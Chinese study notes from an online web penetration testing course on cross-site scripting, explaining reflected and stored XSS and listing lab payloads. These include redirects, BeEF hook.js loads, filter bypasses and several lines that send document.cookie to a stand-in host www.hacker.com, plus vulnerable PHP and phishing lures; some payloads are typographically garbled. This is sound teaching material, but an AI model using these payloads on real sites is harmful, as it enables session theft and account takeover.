开发者学堂课程【网络安全攻防 - Web渗透测试:XSS 跨站脚本攻击_2】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9912
XSS 跨站脚本攻击_2
内容介绍
一、XSS 主要原因
二、XSS 主要分类
三、构造 XSS 脚本
四、反射型 XSS
课程概要:下面介绍 XSS 跨站脚本攻击具体如何操作
一、XSS 主要原因
对客户端过于信任提交的数据!
二、XSS 主要分类
反射型 xss 攻击( Reflected xss ),又称为非持久性跨站点脚本攻击,它是最常见的类型的 XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。—个典型的非持久性 XSS 包含一个带 XSS 攻击向量的链接(即每次攻击需要用户的点击)。
存储型 XSS ( Stored XSS),又称为持久型跨站点脚本,它一般发生在 XSS 攻击向量(一般指 XSS 攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的 XSS 相比非持久性 XSS 攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的 orkut 曾经就遭受到 XSS。
三、构造 XSS 脚本
首先会使用到 HTML 标签和 JavaScript 方法
1. 常用 HTML 标签
(1) <iframe>:
iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
比如在一个页面上嵌入一个页面,可以使用这个标签,在一个网页里嵌入另一个标签也是如此。
(2) <textarea>:
<textarea>标签定义多行的文本输入控件。
(3) <img>:
img 元素向网页中嵌入一幅图像。
(4) <script>:
<script>标签用于定义客户端脚本,比如 JavaScript。
script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚文件。必需的 type 属性规定脚本的 MIME 类型。JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。
这四个是比较常用的标签。
2. 常用 JavaScript 的方法
(1) Alert:
alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
(2) window.location:
window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面(让用户的浏览器进行一个跳转)。
(3) location.href:
返回当前显示的文档的完整 URL
(4) Onload:
—张页面或—幅图像完成加载执行
(5) Onsubmit:
确认按钮被点击(点击时会被触发)
(6) Onerror:
在加载文档或图像时发生错误的时候,这个行为会被触发
3. 构造 XSS 脚本
弹出警告、页面嵌套、页面重定向、弹框警告并重定向、访问恶意代码、巧用图片标签、绕过过滤脚本,从这些方式上来构造不同功能的 XSS 脚本,这只是其中一部分。
(1)弹框警告
①此脚本实现弹框提示,弹框警告没有太大的意义,但是有一个意义,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号'(如果报语法错误就明确说明这里有 SQL 注入漏洞,如果弹框出来说明有 XSS 漏洞),所以更多的是来展示、测试或者类似于单引号’。一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/’这样就可以证明,这个页面位置存在了 XSS 漏洞。
②未过滤符号,基本上就会放置 XSS 脚本的可能性
<script>alert( "xss ' )</ script>
<script>alert(document.cookie)</script>
③打开网页控制台,在 XSS 对话框中输入<script>alert( "xss ' )</ script>,点击 Submit 提交
运行结果:
结论:没有对符号进行过滤,导致把他当成脚本执行
④打开网页控制台,在 XSS 对话框中输入:
<script>alert(document.cookie)</script>
,点击 Submit 提交后运行
总结:Cookile 里面放置 sessionID
(2)页面嵌套
<iframe src-http: / /vww .baidu.com width=300 height=300>
</iframe>
<iframe src-http://www.baidu.com width=0 height=0>
</iframe>
使用 iframe 框架,打开网页控制台,在 XSS 对话框中输入
<iframe src-http: / /vww .baidu.com width=300 height=300>
</iframe>
点击 Submit 提交
总结 :嵌套了指定网页内嵌的框,前端 html 时的一个标签,里面嵌套框给了一个地址,不同的是框的大小
(3)页面重定向
<script>window .location="http: //www .qfedu.com"</ script>
<script>location.href=”http : //www . baidu.com"</script>
①打开网页控制台,在 XSS 对话框中输入
<script>window.location="http://www.qfedu.com"</ script>
,点击 Submit 提交
结论:页面跳转
②打开网页控制台,在 XSS 对话框中输入:
<script>location.href=”http : //www . baidu.com"</script>
点击 Submit 提交后运行
(4)弹框警告并童定向
#没有任何实质意义,作为漏洞测试和演示使用,更像sql注入用到的单引号,一旦弹框出来后端服务器没检测到服务
①<script>alert("请移步到我们的新站");location. Href=”
http://www.qfedu.com
“</script>
<script>alert('xss ' );location.href=
"http:/ No.1,64.35/mutillidae/robots.txt"
</script>
②打开网页控制台,在 XSS 对话框中输入:
<script>alert("请移步到我们的新站");location. Href=”http://www.qfedu.com“</script>
点击 Submit 提交后运行:
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)
(5)访问恶意代码
<script src="http: // wiws . qfedu. com/xss.js"></script>
<script src="http: //BeEF_IP: 3000 / hook .js"></script>
//结合 BeEF 收集用户的 cookie
访问机器,收集 cookie 的脚本文件,下面访问代码会把 cookie 带走,后面在搭建 beef,自动在本地3000端口监听,提供 hook.js 文件。类似于重定向,破解访问文件。
①打开网页控制台,在 XSS 对话框中输入:
<script src="http: // www . qfedu. com/xss.js"></script>
,点击 Submit 提交后运行:
结论:Location 和 src 都是让用户访问位置,跑完之后没有任何页面弹窗和变化。
(6)巧用图片标签
<img src=
”
#
“
onerror=alert(
’
xss
‘
)>
<img src="javascript:alert(
’
xss
‘
);">
<img src=
“
http: //BeEF_IP : 3000 / hook.js"> < /img>
使用图片标签访问会更加隐秘,但会触发访问文件
①打开网页控制台,在 XSS 对话框中输入:
<img src=”http: //BeEF_IP : 3000 / hook.js">
< /img>
,点击 Submit 提交后运行
结果:访问到碎图片,巧用图片标签,放置对脚本标签进行捕捉
(7)绕开过滤的脚本
大小写 <ScrIpt>alert( "xss " )</SCRipt>
字符编码采用 URL、Base64等编码<a
href="javascript:alert("xss ;") ; " >yangge</a>
//这里是链接的意思
打开网页控制台,在 XSS 对话框中输入:<ahrefr="javascript:alert("xss ;") ; " >yangge</a>
点击 Submit 提交后运行
结论:出现超链接后点击超链接运行,执行一个弹框:
(8)收集用户 cookie
打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image( ) .src="http://ww.hacker.com/cookie.php?cookiem ="+document.cookie;</script>
<img src="http://ww.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src=”
http://www.hacker.com/cookie.php?Cookie=
’+doucument.cookie”></iframe>
<script>new Image().src=
"http://www.hacker.com/cookie.php?cookie='+document.cookie";
img .width = 0;
img.height = 0;
</script>
//访问网页然后传参后获取 cookie
从一系列的方式上构建不同的 XSS 脚本,最管用的是巧用图片,访问钩子文件。
四、反射型 XSS
目前低级别当中,对用户输入的内容没有做任何过滤
<?php
if(!array_key_exists("name",$_GET)||$_GET['name']==NULL||$_GET['name’] = ‘’)
{
$isempty = true ;
}
else {
echo '<pre>':
echo 'Hello’. $_GET[’name‘] ;
echo '</pre>’ :
}
?>
①输入内容把或得到的内容 name,拼接内容,最后输出出来。
②测试弹框警告:document.cookie 是获取当前自己的 cookie,收集到自己的 cookie 作为参数传给其他页面。
③发送链接:
<script src="http: //BeEF_IP: 3000 / hook .js"></script>
链接发个用户中招的数量是有限的,而存储型的好多用户都点,做一个超链接,别人一点超链接诱导别人点击可以收集他人 cookie。